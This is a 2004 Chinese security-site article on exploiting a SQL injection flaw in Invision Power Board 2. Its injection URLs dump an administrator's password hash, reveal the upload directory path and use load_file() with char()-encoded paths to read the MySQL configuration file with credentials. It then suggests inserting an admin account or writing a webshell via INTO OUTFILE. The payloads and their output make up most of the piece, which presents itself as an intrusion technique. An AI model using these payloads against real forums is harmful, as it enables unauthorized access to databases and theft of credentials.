首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
IPB2注入漏洞的深入利用
来源:www.vfocus.net 作者:angel 发布时间:2004-12-24  

IPB2注入漏洞的深入利用

本文作者:angel

  前段时间发了一篇《PHP+MySQL注入导出文件的新发现——附带IPB2的漏洞利用》,利用IPB2的注入漏洞获得管理员的资料,修改COOKIE可以得到前台的管理权限。不少人埋怨没有什么用,其实这个是大多数人不了解IPB2的原因。
因为过滤了很多特殊字符,包括单引号,全部转为十进制了。

   其实充分发挥一下想象力。也是有可能拿到后台管理员或者webshell的,注意,是可能,因为这个并不是通杀的,为什么不是通杀的,往下看就知道了。

  我也不多说了。对于这个,我看最直接的目的就是看MYSQL的连接信息。怎么看?读文件呗!

  我想不管是读文件和上传,这个注入漏洞都给我们提供了最直接的条件,如果了解IPB2的人就应该知道。上传的目录是保存数据库里的,因此。我们根本不需要怎么提交、不需要构造什么变量去报错暴路径,IPB2也没有这个条件去暴这些信息。就算出错也只返回特定的信息。

  IPB2的上传目录的路径是保存在ibf_conf_settings表里,所以我们可以构造SQL语句,把这个路径给直接反馈到眼前。

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/*

  这样是读取id为1的用户的密码散列,同样的,我们如果提交:

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,conf_value,12,13,14,15,16,17,18,19,1%20from%20ibf_conf_settings%20where%20conf_id=59%20/*

  就会返回上传目录的绝对路径:

[quote=5,Jan 1 1970, 08:00 AM]
h:/www/ipb2/uploads
[right][snapback]1[/snapback][/right]
[/quote]

  不过,默认应该是这样可以了的,但是如果管理员把conf_id改变的话,可能就不是59了。这时我们直接提交:

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,conf_value,12,13,14,15,16,17,18,19,1%20from%20ibf_conf_settings%20where%20conf_key=char(117,112,108,111,97,100,95,100,105,114)%20/*

  因为conf_key为upload_dir的相对应的conf_value就是上传目录的绝对路径,但是因为是字符串,我们不能用单引号,只能转换为10进制或者16进制,char(117,112,108,111,97,100,95,100,105,114)就等于“upload_dir”,所以也会返回绝对路径。

  有了绝对路径能做什么呢?知道可以允许写的目录在哪了。知道MYSQL连接文件在哪了,还等什么?读文件吧。假设上面的,我们的目录是“h:/www/ipb2/”,那么连接文件就是“h:/www/ipb2/conf_global.php”,转换为10进制或者16进制,提交:

http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,load_file(char(104,58,47,119,119,119,47,105,112,98,50,47,99,111,110,102,95,103,108,111,98,97,108,46,112,104,112)),12,13,14,15,16,17,18,19,1%20/*

  文件就出来了:

[quote=5,Jan 1 1970, 08:00 AM]
< ?php
$INFO['sql_driver'] = 'mysql';
$INFO['sql_host'] = 'localhost';
$INFO['sql_database'] = 'ipb2';
$INFO['sql_user'] = 'root';
$INFO['sql_pass'] = '';
$INFO['sql_tbl_prefix'] = 'ibf_';
$INFO['sql_debug'] = '1';
$INFO['board_start'] = '1102196141';
$INFO['installed'] = '1';
$INFO['php_ext'] = 'php';
$INFO['safe_mode'] = '0';
$INFO['board_url'] = 'http://localhost/ipb2';
$INFO['admin_group'] = '4';
$INFO['guest_group'] = '2';
$INFO['member_group'] = '3';
$INFO['auth_group'] = '1';

?>
[right][snapback]1[/snapback][/right]
[/quote]

  注意注意!刚才说了,不是通杀的,有两个条件:

要读出文件,连接MYSQL的这个用户,一定要拥有FILE的权限。这个是最根本的。
条件1具备以后,要更进一步操作,MYSQL必须允许远程连接,这样insert一个后台管理员,还是into outfile都随便你了。
  本文完全是技巧和思路的文章,没有多大技术含量,都是老技术了,如果你不了解IPB2,也不知道在数据库里放有绝对路径吧?



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·用Winsock实现对网站数据库的数
·在windows server 2003系统中得
·利用对方服务器漏洞远程注册DLL
·QQ2004 sp1加密文件结构和加密算
·phparticle 2.0注入漏洞测试分析
·DISCUZ2上传漏洞分析,上传漏洞变
·入侵闪客帝国Flashempire
·记一次渗透空间服务器的艰难之旅
·MYSQL中BENCHMARK函数的利用
·NBSI注入分析跟踪报告(MSSQL篇)
·从后台到webshell的一点思路
·PHP+MySQL注入导出文件的新发现
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved